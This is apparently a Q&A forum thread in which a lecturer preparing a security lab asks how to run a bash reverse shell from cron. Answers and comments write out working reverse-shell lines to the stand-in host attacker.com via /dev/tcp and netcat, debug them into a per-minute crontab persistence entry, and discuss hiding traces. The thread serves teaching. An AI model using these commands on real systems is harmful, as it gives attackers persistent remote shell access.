4

I teach Cybersecurity at a university and am writing a lab on Netcat and reverse shells. I have created a cron job that runs a script that connects to my listener. That works fine. Problem is there is too much of a fingerprint with that and the script can be deleted. Part of the lab is on stealth operations (like putting a space in front of any command that is entered).

I am trying to get this command to execute. Right now the frequency isn’t important though eventually it will run on boot and every 30 minutes.

/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1

When run from the command line the command works and the reverse shell is established. I don’t want to use port 80 because I DO want this blocked if a student decides to attempt something stupid. Also the next lab is on iptables to block this port.

I’ve tried quotes. I’ve tried sudo. Double ampersands at the end. Single ampersands at the end. Further qualifications of the path to /tcp/. I don’t think I need to establish what tty session it’s run from (that would be tough). In no case is the cron-run command successful.

crontab -l

# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
* * * * * /bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1

Here is the syslog

cat /var/log/syslog 

Mar 19 07:42:01 raspberrypi CRON[12921]: (pi) CMD (/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1)
Mar 19 07:42:01 raspberrypi CRON[12917]: (CRON) info (No MTA installed, discarding output)

It doesn’t appear to be failing ... it’s just not working.

So to the many many people smarter than I here, what am I doing wrong and how do I get this command to work as a cron job (calling a script is not an option)?

UPDATE: solution is * * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' although there are two errors that I am still working on resolving.

John Kugelman
  • 349,597
  • 67
  • 533
  • 578
C0ntr07
  • 51
  • 1
  • 1
  • 9
  • Have you tried putting strace in the cron to see what it is doing and where it fails? – Andrew Mar 19 '19 at 12:17
  • No. Let me try that. Thanks. – C0ntr07 Mar 19 '19 at 12:26
  • Also, which cron daemon are you using? I think the problem is the way it is building the argv array. I'll take a look at the source and check. – Andrew Mar 19 '19 at 12:34
  • It is possible that on your system is not installed a mail service (are you using ubuntu?). Crontab send mail to the owner of cron in case of script output. – Lety Mar 19 '19 at 12:45
  • I do not have a mail service installed and neither do I want one. I don't want any mail messages sent. – C0ntr07 Mar 19 '19 at 12:49
  • you should read "man cron", any output of cron job are sent to user that owns cron, but you can disable this using empty MAILTO variable or redirecting any output to /dev/null – Lety Mar 19 '19 at 12:57
  • @amoss, how do I determine that? – C0ntr07 Mar 19 '19 at 13:21
  • @Lety, thanks. I added MAILTO="" and *that* issue cleared up. Still no connection. Working on that ... – C0ntr07 Mar 19 '19 at 13:28
  • @Amoss, I can't paste a lot of the results from the _strace_ but I do see `access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)` anything there? Redherring? – C0ntr07 Mar 19 '19 at 13:36

2 Answers2

6

/dev/tcp bashism

Note that /dev/tcp/host/port is a bashism!

cron will not understand them!

You could try:

* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1'

or use non bash way:

using netcat for sample:

* * * * * /usr/bin/nc -c /bin/bash\ -i attacker.com 5326 0>&1

(See man nc.traditional vs man nc.openbsd)

F. Hauri - Give Up GitHub
  • 64,122
  • 17
  • 116
  • 137
  • Closer. got the connection at the listener, but bash complained _bash: cannot set terminal process group (7527): Inappropriate ioctl for device_ and _bash: no job control in this shell_ . – C0ntr07 Mar 19 '19 at 15:09
  • The first command didn't quite work. Changing it as shown below _did_ work. I used `* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1'`. The two error messages are still being displayed. Any way to clean those up? – C0ntr07 Mar 19 '19 at 15:43
  • Hmm this seem linked to pseudo terminal association (`/dev/pts/xxx`)... – F. Hauri - Give Up GitHub Mar 19 '19 at 15:50
  • The error messages appear to be because with the _-i_ option _bash_ wants a terminal. How can I run my `cron` job as [discussed here](https://emacs.stackexchange.com/questions/3447/cannot-set-terminal-process-group-error-when-running-bash-script) . – C0ntr07 Mar 19 '19 at 16:09
  • In the case you point, `emacs` will provide pseudo terminal. You could try to use `screen` for this... – F. Hauri - Give Up GitHub Mar 19 '19 at 17:39
1

I suspect that you have a mismatch between what is in the argv array passed from the command-line and the one from the cron daemon. Although I can't tell what the missing escape is, here is a general way to diagnose it:

void main(int argc, char **argv) {
  for( int i=0; i<argc; i++) 
    printf("%d: '%s'\n",i,argv[i])
}

If you compile this into a binary and run it with your args in both cases you should see the difference:

./a.out -i >& /dev/tcp/attacker.com/5326 0>&1

versus:

* * * * * /path/a.out -i >& /dev/tcp/attacker.com/5326 0>&1

If it is not the difference in argv, would the >& and 0>&1 not be processed by the command-line bash process (rather than the one being launched) and apply to the bash shell being run so that the attacker binary has no redirection, but its parent process does?

Edit:

F. Hauri makes a good point but what you probably want in your crotab is:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1'

(or they could edit their answer, the /path/a.out part is wrong)

Edit2 - capturing the output:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1 >/path/to/logfile'
Andrew
  • 2,943
  • 18
  • 23
  • Apologizes for the ignorance ... Could you go one level lower in what you are recommending? What steps should I take? – C0ntr07 Mar 19 '19 at 13:29
  • I got that working Amoss. I even fixed the syntax error of the missing ";" :-) The results are: – C0ntr07 Mar 19 '19 at 14:51
  • (Edit timed out) I got that working Amoss. I even fixed the syntax error of the missing ";" :-) The results are: ` ./a.out /bin/bash -i >& /dev/tcp/localhost/5326 0>&1` resulting in ` Connection from localhost 57514 received!` ` 0: './a.out'` ` 1: '/bin/bash'` ` 2: '-i'` With ` * * * * * /path/a.out -i >& /dev/tcp/attacker.com/5326 0>&1` results in (from the _strace_) ` execuve("/bin/sh", ["/bin/sh", "-c", "/home/pi/tools/a.out -i >& /dev/"...], [/* 6 vars */]) = 0` Nothing from the listener. Should I be looking somewhere for results? – C0ntr07 Mar 19 '19 at 15:04
  • Congratulations! That sounds like a working incoming connection. The issue of where the results go is a little complex. Because cron is designed to launch daemons the results typically go to mail. You could redirect the output to a file. I'll edit the above. – Andrew Mar 19 '19 at 15:18
  • But @Amoss if I redirect the output wouldn't that impact the nature of the reverse shell? – C0ntr07 Mar 19 '19 at 15:48
  • Thanks @Amoss, though nothing getting piped to the file and the two _bash_ messages still get displayed at the listener. – C0ntr07 Mar 19 '19 at 16:00